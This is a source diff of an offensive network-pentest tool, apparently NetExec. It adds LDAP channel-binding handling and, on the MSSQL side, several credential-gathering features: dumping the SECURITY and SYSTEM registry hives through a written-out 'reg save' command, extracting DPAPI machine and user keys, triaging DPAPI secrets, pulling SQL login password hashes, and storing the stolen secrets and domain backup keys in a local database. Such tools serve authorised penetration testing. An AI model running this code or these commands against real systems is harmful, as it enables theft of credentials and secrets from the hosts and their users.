|
||||
else:
|
||||
self.logger.highlight(f"{attribute:<20} {entry[attribute]}")
|
||||
self.logger.highlight(f"{attribute:<20} {value}")
|
||||
|
||||
def find_delegation(self):
|
||||
def printTable(items, header):
|
||||
@@ -1723,6 +1759,7 @@ class ldap(connection):
|
||||
aeskey=self.aesKey,
|
||||
kdc=self.kdcHost,
|
||||
auth_method="auto",
|
||||
ldap_channel_binding=self.cbt_status == "Always"
|
||||
)
|
||||
ad = AD(
|
||||
auth=auth,
|
||||
@@ -1761,9 +1798,13 @@ class ldap(connection):
|
||||
exclude_dcs=False,
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
||||
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
||||
return
|
||||
if "ldap3-bleeding-edge" in str(e):
|
||||
self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge")
|
||||
return
|
||||
else:
|
||||
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
||||
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
||||
return
|
||||
|
||||
# Collect ADCS data using CertiHound if requested
|
||||
if "adcs" in collect:
|
||||
|
||||
@@ -10,6 +10,7 @@ def proto_args(parser, parents):
|
||||
ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port")
|
||||
ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout")
|
||||
ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
ldap_parser.add_argument("--schannel", action="store_true", help="Authenticate with the certificate using Schannel instead of PKINIT")
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
|
||||
@@ -5,6 +5,7 @@ from OpenSSL.SSL import SysCallError
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
@@ -18,6 +19,7 @@ class LDAPResolution:
|
||||
target = ""
|
||||
target_domain = ""
|
||||
base_dn = ""
|
||||
machine_name = ""
|
||||
try:
|
||||
ldap_url = f"ldap://{self.host}"
|
||||
nxc_logger.info(f"Connecting to {ldap_url} with no baseDN")
|
||||
@@ -60,5 +62,7 @@ class LDAPResolution:
|
||||
else:
|
||||
nxc_logger.error(f"Error getting ldap info {e}")
|
||||
|
||||
machine_name = sanitize_dns(machine_name, nxc_logger)
|
||||
target_domain = sanitize_dns(target_domain, nxc_logger)
|
||||
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
return machine_name, target_domain
|
||||
+178
-53
@@ -1,18 +1,22 @@
|
||||
import os
|
||||
import random
|
||||
import contextlib
|
||||
import binascii
|
||||
from termcolor import colored
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.connection import requires_admin
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.misc import gen_random_string, sanitize_dns
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
from dploot.lib.network.mssql import MSSQLTarget as Target
|
||||
|
||||
from impacket import tds, ntlm
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.dcerpc.v5.dtypes import SID
|
||||
@@ -44,6 +48,13 @@ class mssql(connection):
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.no_ntlm = False
|
||||
self.encryption = None
|
||||
self.edition = ""
|
||||
self.version = ""
|
||||
self.dpapi_system_key = None
|
||||
self.no_da = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -144,8 +155,11 @@ class mssql(connection):
|
||||
else:
|
||||
if challenge.startswith(b"NTLMSSP\x00"):
|
||||
ntlm_info = parse_challenge(challenge)
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
@@ -306,6 +320,7 @@ class mssql(connection):
|
||||
self.logger.fail(self.conn.lastError)
|
||||
else:
|
||||
for data in raw_output:
|
||||
self.logger.highlight("--------------------")
|
||||
for key, value in data.items():
|
||||
if key:
|
||||
self.logger.highlight(f"{key}:{value}")
|
||||
@@ -490,68 +505,65 @@ class mssql(connection):
|
||||
return "[" + str(ident).replace("]", "]]") + "]"
|
||||
|
||||
def list_databases(self):
|
||||
try:
|
||||
q = (
|
||||
"SELECT d.name AS DatabaseName, "
|
||||
" suser_sname(d.owner_sid) AS Owner "
|
||||
"FROM sys.databases d "
|
||||
"ORDER BY d.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(q) or []
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
query = """
|
||||
SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner
|
||||
FROM sys.databases d
|
||||
ORDER BY d.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for r in rows:
|
||||
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to enumerate databases: {e}")
|
||||
self.logger.debug("list_databases error", exc_info=True)
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for row in rows:
|
||||
database_name = row.get("DatabaseName", "")
|
||||
owner = row.get("Owner", "")
|
||||
self.logger.highlight(f"{database_name:<30} {owner:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
|
||||
def database(self):
|
||||
db_arg = self.args.database
|
||||
|
||||
# nxc --database (no value) -> list
|
||||
if db_arg is True or db_arg is None:
|
||||
if self.args.database is True:
|
||||
self.list_databases()
|
||||
return
|
||||
|
||||
# nxc --database <name> -> tables
|
||||
if isinstance(db_arg, str):
|
||||
try:
|
||||
safe = db_arg.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
|
||||
return
|
||||
|
||||
tq = (
|
||||
f"SELECT t.name AS TableName, t.modify_date "
|
||||
f"FROM {self._qname(db_arg)}.sys.tables t "
|
||||
f"ORDER BY t.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(tq) or []
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
|
||||
self.logger.debug("database() error", exc_info=True)
|
||||
if isinstance(self.args.database, str):
|
||||
safe = self.args.database.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{self.args.database}] does not exist on the server.")
|
||||
return
|
||||
|
||||
query = f"""
|
||||
SELECT t.name AS TableName, t.modify_date
|
||||
FROM {self._qname(self.args.database)}.sys.tables t
|
||||
ORDER BY t.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
|
||||
if not rows:
|
||||
self.logger.display(f"Database [{db_arg}] has no user tables.")
|
||||
self.logger.display(f"Database [{self.args.database}] has no user tables.")
|
||||
return
|
||||
|
||||
self.logger.display(f"Tables in database: {db_arg}")
|
||||
self.logger.display(f"Tables in database: {self.args.database}")
|
||||
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
|
||||
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
|
||||
for r in rows:
|
||||
mod = r.get("modify_date", "")
|
||||
if mod and hasattr(mod, "strftime"):
|
||||
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
|
||||
for row in rows:
|
||||
modify_date = row.get("modify_date", "")
|
||||
if modify_date and hasattr(modify_date, "strftime"):
|
||||
modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} table(s)")
|
||||
return
|
||||
|
||||
@@ -591,7 +603,7 @@ class mssql(connection):
|
||||
SAM.export(output_filename)
|
||||
|
||||
@requires_admin
|
||||
def lsa(self):
|
||||
def lsa(self, quiet=False):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
@@ -613,15 +625,128 @@ class mssql(connection):
|
||||
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
|
||||
self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
|
||||
return
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
def lsa_secret_callback(_, secret):
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
boot_key,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
|
||||
perSecretCallback=lsa_secret_callback,
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.remoteName,
|
||||
port=self.port,
|
||||
hashes=f":{self.nthash}",
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
use_kcache=self.use_kcache,
|
||||
aesKey=self.aesKey,
|
||||
db_auth=self.args.local_auth,
|
||||
)
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
|
||||
@requires_admin
|
||||
def db_hash(self):
|
||||
self.logger.display("Dumping local database users' hashes")
|
||||
query = """
|
||||
SELECT
|
||||
sp.name,
|
||||
CASE
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0200 THEN 'SHA-512'
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0300 THEN 'PBKDF2'
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0100 THEN 'SHA-1'
|
||||
ELSE 'Unknown'
|
||||
END AS hash_type,
|
||||
sl.password_hash
|
||||
FROM sys.server_principals sp
|
||||
INNER JOIN sys.sql_logins sl
|
||||
ON sp.principal_id = sl.principal_id
|
||||
WHERE sp.type = 'S' -- uniquement les logins SQL
|
||||
AND sp.name NOT LIKE '##%'
|
||||
ORDER BY sp.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
return
|
||||
if not rows:
|
||||
self.logger.fail("No logins returned")
|
||||
return
|
||||
else:
|
||||
self.logger.display("Enumerated logins")
|
||||
self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Hash'}")
|
||||
self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}")
|
||||
for row in rows:
|
||||
name = row.get("name")
|
||||
hash_type = row.get("hash_type")
|
||||
password_hash = row.get("password_hash")
|
||||
if password_hash != "NULL":
|
||||
self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash:<140}")
|
||||
|
||||
def list_backups(self):
|
||||
self.logger.info("Dumping database backups")
|
||||
query = """
|
||||
SELECT
|
||||
bs.database_name,
|
||||
bs.server_name,
|
||||
bmf.physical_device_name AS backup_file_path,
|
||||
CASE
|
||||
WHEN bs.encryptor_type IS NULL THEN 'Unencrypted'
|
||||
ELSE 'Encrypted'
|
||||
END AS backup_encryption_status,
|
||||
bs.encryptor_type,
|
||||
bs.key_algorithm
|
||||
FROM msdb.dbo.backupset AS bs
|
||||
INNER JOIN msdb.dbo.backupmediafamily AS bmf
|
||||
ON bs.media_set_id = bmf.media_set_id
|
||||
INNER JOIN sys.databases AS d
|
||||
ON bs.database_name = d.name
|
||||
ORDER BY bs.backup_finish_date DESC;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
return
|
||||
if not rows:
|
||||
self.logger.fail("No backups returned")
|
||||
return
|
||||
else:
|
||||
self.logger.display("Enumerated backups")
|
||||
self.logger.highlight(f"{'Backup Name':<20} {'Encryption':<15} {'Backup Path'}")
|
||||
self.logger.highlight(f"{'-----------':<20} {'----------':<15} {'-----------'}")
|
||||
for row in rows:
|
||||
database_name = row.get("database_name").strip()
|
||||
is_encrypted = row.get("backup_encryption_status").strip()
|
||||
backup_file_path = row.get("backup_file_path").strip()
|
||||
self.logger.highlight(f"{database_name:<20} {is_encrypted:<15s} {backup_file_path}")
|
||||
@@ -1,6 +1,7 @@
|
||||
import warnings
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import SAWarning
|
||||
from sqlalchemy.orm import declarative_base
|
||||
@@ -19,6 +20,8 @@ class database(BaseDB):
|
||||
self.HostsTable = None
|
||||
self.UsersTable = None
|
||||
self.AdminRelationsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
@@ -75,6 +78,32 @@ class database(BaseDB):
|
||||
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
@@ -84,6 +113,8 @@ class database(BaseDB):
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
|
||||
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
|
||||
"""
|
||||
@@ -279,6 +310,20 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -353,3 +398,113 @@ class database(BaseDB):
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -16,6 +16,10 @@ def proto_args(parser, parents):
|
||||
cgroup = mssql_parser.add_argument_group("Credential Gathering")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cgroup.add_argument("--db-hash", action="store_true", help="dump local database hashes")
|
||||
|
||||
cgroup = mssql_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
@@ -36,4 +40,5 @@ def proto_args(parser, parents):
|
||||
|
||||
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
|
||||
mapping_enum_group.add_argument("--list-backups", action="store_true", help="dump database backups path")
|
||||
return parser
|
||||
+364
-169
@@ -1,19 +1,25 @@
|
||||
import asyncio
|
||||
import base64
|
||||
import copy
|
||||
import contextlib
|
||||
from datetime import datetime
|
||||
from os import getenv
|
||||
from uuid import uuid4
|
||||
from anyio import Path
|
||||
from termcolor import colored
|
||||
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.config import host_info_colors, process_secret
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
from aardwolf.connection import RDPConnection
|
||||
from aardwolf.connection import RDPConnection, AUTHZ_ACCESS_DENIED
|
||||
from aardwolf.commons.queuedata.constants import VIDEO_FORMAT
|
||||
from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE
|
||||
from aardwolf.commons.iosettings import RDPIOSettings
|
||||
@@ -114,19 +120,28 @@ class rdp(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
def _create_rdp_connection(self, credentials, supported_protocols=None):
|
||||
iosettings = self.iosettings.clone_for_connection()
|
||||
# Explicit protocols are used by discovery and screenshot fallbacks.
|
||||
# Authenticated connections leave this unset so aardwolf selects the
|
||||
# X224 flags appropriate for the credential type.
|
||||
iosettings.supported_protocols = supported_protocols
|
||||
return RDPConnection(
|
||||
iosettings=iosettings,
|
||||
target=copy.deepcopy(self.target),
|
||||
credentials=copy.deepcopy(credentials),
|
||||
)
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level
|
||||
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
|
||||
|
||||
asyncio.run(self.check_nla())
|
||||
|
||||
for proto in reversed(self.protoflags):
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(
|
||||
iosettings=self.iosettings,
|
||||
target=self.target,
|
||||
credentials=self.auth,
|
||||
self.conn = self._create_rdp_connection(
|
||||
self.auth, supported_protocols=proto
|
||||
)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
except OSError as e:
|
||||
@@ -141,9 +156,9 @@ class rdp(connection):
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
self.domain = info_domain["dnsdomainname"]
|
||||
self.hostname = info_domain["computername"]
|
||||
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"])
|
||||
self.hostname = sanitize_dns(info_domain.get("computername") or self.host, self.logger)
|
||||
self.domain = sanitize_dns(info_domain.get("dnsdomainname") or self.host, self.logger)
|
||||
self.server_os = self.guess_os(info_domain)
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
break
|
||||
|
||||
@@ -166,18 +181,27 @@ class rdp(connection):
|
||||
domain=self.domain,
|
||||
dc_ip=self.domain,
|
||||
timeout=self.args.rdp_timeout,
|
||||
unsafe_ssl=True,
|
||||
)
|
||||
|
||||
# Reset so aardwolf negotiates on its own (restricted admin + HYBRID_EX), the loop above pinned it
|
||||
self.iosettings.supported_protocols = None
|
||||
|
||||
return True
|
||||
|
||||
def guess_os(self, info_domain):
|
||||
build = info_domain.get("os_build")
|
||||
if build in WIN_VERSIONS:
|
||||
return f"{WIN_VERSIONS[build]} Build {build}"
|
||||
if info_domain.get("os_major_version") == "WINDOWS_MAJOR_VERSION_10": # asyauth labels every 10.0 kernel "Windows 10 or Windows Server 2016", only trust it for older kernels
|
||||
return f"Windows 10.0 Build {build}"
|
||||
return f"{info_domain.get('os_guess') or 'Unknown'} Build {build or 'Unknown'}"
|
||||
|
||||
async def check_nla(self):
|
||||
self.logger.debug(f"Checking NLA for {self.host}")
|
||||
try:
|
||||
self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL
|
||||
self.conn = RDPConnection(
|
||||
iosettings=self.iosettings,
|
||||
target=self.target,
|
||||
credentials=None,
|
||||
self.conn = self._create_rdp_connection(
|
||||
None, supported_protocols=SUPP_PROTOCOLS.SSL
|
||||
)
|
||||
packetizer = TPKTPacketizer()
|
||||
client = UniClient(self.target, packetizer)
|
||||
@@ -191,17 +215,17 @@ class rdp(connection):
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
async def connect_rdp(self):
|
||||
async def connect_rdp(self, auth_only=False):
|
||||
